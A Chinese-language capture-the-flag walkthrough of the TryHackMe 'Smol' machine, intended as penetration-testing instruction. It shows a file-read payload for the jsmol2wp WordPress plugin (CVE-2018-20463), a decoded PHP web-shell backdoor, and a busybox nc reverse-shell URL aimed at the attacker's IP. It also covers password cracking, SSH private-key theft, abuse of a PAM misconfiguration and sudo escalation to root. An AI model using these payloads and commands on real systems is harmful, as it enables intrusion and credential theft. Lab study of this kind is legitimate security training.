Smol
TryHackMe
字数 4403 2025-10-29 23:25:25
TryHackMe: Smol 渗透测试实战教学文档
文档概述
本教学文档旨在详细解析TryHackMe平台上“Smol”靶机的完整渗透测试过程。该靶机涉及WordPress安全、插件漏洞利用(CVE-2018-20463)、后门发现与利用、横向移动以及权限提升等多个关键知识点。通过本教程,您将学习到一套完整的Web应用渗透测试方法论。
第一阶段:信息收集与初始访问
1. 目标识别与端口扫描
- 行动:使用端口扫描工具(如Nmap)对目标进行扫描。
- 结果:发现开放了80端口(HTTP服务),但直接访问IP地址无法显示页面。
- 关键点:根据提示,需要修改本地
/etc/hosts文件,将域名www.smol.thm解析到目标机器的IP地址。这是解决虚拟主机路由问题的常见方法。- 命令示例:
echo "目标IP www.smol.thm" | sudo tee -a /etc/hosts
- 命令示例:
2. 网站初步侦察
- 行动:访问
http://www.smol.thm。 - 发现:
- 网站基于WordPress搭建。
- 发现一个用户邮箱:
admin@smol.thm(潜在的用户名admin)。
3. 使用WPScan进行深度扫描
- 行动:使用专门针对WordPress的扫描器WPScan,枚举主题、插件和用户。
- 命令示例:
wpscan --url http://www.smol.thm -e ap,at,u - 关键发现:
- WordPress版本:6.7.1
- 主题:2023,版本1.2
- 关键插件:
jsmol2wp- 插件路径:
http://www.smol.thm/wp-content/plugins/jsmol2wp/ - 信息文件:通过访问
/readme.txt(http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt)了解插件功能。
- 插件路径:
- 目录:发现上传目录
/wp-content/uploads/,可能存放敏感文件。
4. 漏洞研究与利用(CVE-2018-20463)
- 漏洞分析:
jsmol2wp插件存在一个服务器端请求伪造(SSRF) 漏洞,该漏洞允许攻击者通过精心构造的请求读取服务器上的任意文件。 - 漏洞利用Payload:
/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php - 利用过程:
- 将上述Payload拼接在目标URL后访问。
wp-config.php是WordPress的核心配置文件,通常包含数据库用户名和密码。- 成功读取该文件,获取数据库凭据(例如:用户
wpuser及其密码)。
5. 进入WordPress后台
- 行动:
- 访问
http://www.smol.thm/wp-admin。 - 使用之前发现的用户名
admin和从wp-config.php中获取的数据库密码尝试登录。
- 访问
- 结果:成功进入WordPress管理后台。
第二阶段:在WordPress内获取Shell
1. 发现隐藏后门
- 线索:文章中提到页面有“滚动的歌词”和“Webmaster Tasks!!”提示,联想到WordPress的“Hello Dolly”示例插件。
- 行动:
- 在GitHub上搜索“Hello Dolly”的原始代码,与目标插件
jsmol2wp中的hello.php文件进行对比。 - 利用已发现的SSRF漏洞,直接读取
hello.php文件。- URL:
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../hello.php
- URL:
- 在GitHub上搜索“Hello Dolly”的原始代码,与目标插件
- 关键发现:读取到的
hello.php文件内容中包含一段经过Base64编码的可疑代码。 - 代码分析:
- 解码:
CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA= - 解码后:
if (isset($_GET["\143\155\x64"])) { system($_GET["\143\x6d\144"]); } - 字符转义解析:
\143是八进制,\x64是十六进制,它们分别对应ASCII字符。\143-> c,\155-> m,\x64-> d。因此"\143\155\x64"就是字符串"cmd"。- 同理,
"\143\x6d\144"也是"cmd"。
- 最终功能:这段代码是一个简单的Web Shell,它检查URL参数中是否存在
cmd,如果存在,则执行该参数指定的系统命令。即:if (isset($_GET[‘cmd’])) { system($_GET[‘cmd’]); }
- 解码:
2. 利用后门获取反向Shell
- 原理:由于
hello.php文件已被jsmol2wp插件调用,其中的恶意代码已经生效,我们可以直接向该插件的入口点发送请求并附带命令参数。 - 获取Shell步骤:
- 在攻击机上监听一个端口(如4444):
nc -lvnp 4444 - 向目标服务器发送一个请求,命令其建立到攻击机的反向连接。使用
busybox nc(一个精简版的netcat)。 - 利用URL:
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=test&cmd=busybox nc 你的攻击机IP 4444 -e bash - 成功在攻击机上获得一个反向Shell连接。
- 提升Shell交互性:在获得的Shell中执行
python3 -c 'import pty; pty.spawn("/bin/bash")',以获得一个更稳定的、支持Tab补全等功能的交互式Shell。
- 在攻击机上监听一个端口(如4444):
第三阶段:横向移动
1. 枚举系统用户
- 行动:查看
/etc/passwd文件,发现多个用户:think,xavi,diego,gege。
2. 数据库密码破解与用户切换
- 行动:
- 使用之前获得的数据库凭据登录MySQL:
mysql -u wpuser -p - 在WordPress数据库(通常是
wp_前缀)的wp_users表中,找到用户密码的哈希值。 - 使用
john(John the Ripper)工具破解哈希。- 将哈希保存到文件
hash.txt。 - 使用命令
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt进行破解。
- 将哈希保存到文件
- 使用之前获得的数据库凭据登录MySQL:
- 结果:成功破解用户
diego的密码。 - 切换用户:在获得的Shell中,使用
su - diego命令并输入破解的密码,切换到diego用户。可以获取user.txt标志。
3. 利用Linux组权限进行横向移动
- 关键发现:执行
id命令,发现当前用户diego属于一个名为internal的组。 - 行动:
- 查看
/etc/group文件,找到internal组的所有成员。 - 由于同组用户对彼此的家目录可能有读权限,可以遍历这些用户的家目录。
- 在
gege用户目录下,发现一个可疑的压缩包wordpress.old.zip。 - 在
think用户目录下的.ssh文件夹中,找到了私钥文件id_rsa。
- 查看
4. 通过SSH密钥切换至think用户
- 行动:
- 复制
think用户的私钥id_rsa到攻击机。 - 修改私钥文件权限为600:
chmod 600 think_id_rsa - 使用私钥登录到
think用户:ssh -i think_id_rsa think@目标IP
- 复制
5. 分析PAM配置,切换至gege用户
- 关键发现:查看
/etc/pam.d/su文件,发现特殊配置:auth [success=ignore default=1] pam_succeed_if.so user = gege auth sufficient pam_succeed_if.so use_uid user = think - 配置解读:这行配置意味着,用户
think在尝试su到任何用户时,如果目标是gege,则认证会直接成功(sufficient),无需输入密码。 - 行动:从
think用户直接切换到gege用户:su - gege
6. 破解受密码保护的压缩包
- 行动:
- 在
gege用户目录下,用Python启动一个简单的HTTP服务器:python3 -m http.server 8080 - 在攻击机上下载
wordpress.old.zip文件。 - 使用
zip2john工具从压缩包中提取哈希:zip2john wordpress.old.zip > archive_hash - 使用
john破解该哈希:john archive_hash --wordlist=/usr/share/wordlists/rockyou.txt - 使用破解出的密码解压压缩包。
- 在
- 结果:在解压后的文件中,找到了另一个
wp-config.php文件,其中包含了用户xavi的数据库密码(很可能也是系统密码)。
第四阶段:权限提升(Privilege Escalation)
1. 切换至xavi用户并检查sudo权限
- 行动:
- 切换到
xavi用户:su - xavi(使用从压缩包中找到的密码)。 - 检查该用户可以使用
sudo执行的命令:sudo -l
- 切换到
- 关键发现:输出结果显示
(ALL : ALL) ALL,这意味着用户xavi可以通过sudo执行任何命令,拥有完全的root权限。
2. 获取Root权限与最终标志
- 行动:直接使用
sudo提权到root。sudo su -或sudo bash
- 结果:成功获得root权限,可以读取系统中的最终标志
root.txt。
总结与知识点回顾
- 信息收集是关键:域名解析、WPScan扫描为后续攻击奠定了基础。
- 关注第三方组件:WordPress插件、主题是常见的安全薄弱点。
- 漏洞利用链:结合SSRF漏洞(CVE-2018-20463)读取配置文件,再利用其中的凭据进行横向渗透。
- 代码审计意识:对可疑文件(如
hello.php)进行审计,发现隐藏的后门。 - Linux权限与组管理:理解Linux文件权限和用户组机制是横向移动的核心。
- PAM配置审计:
/etc/pam.d/下的配置文件可能包含非标准的认证逻辑,是提权的重要线索。 - 密码破解:熟练使用
john、zip2john等工具。 - sudo权限检查:
sudo -l是Linux系统权限提升的必做步骤。
通过本次实战,您应该对中等级别的渗透测试流程有了更深入的理解。请务必在合法授权的环境中练习这些技术。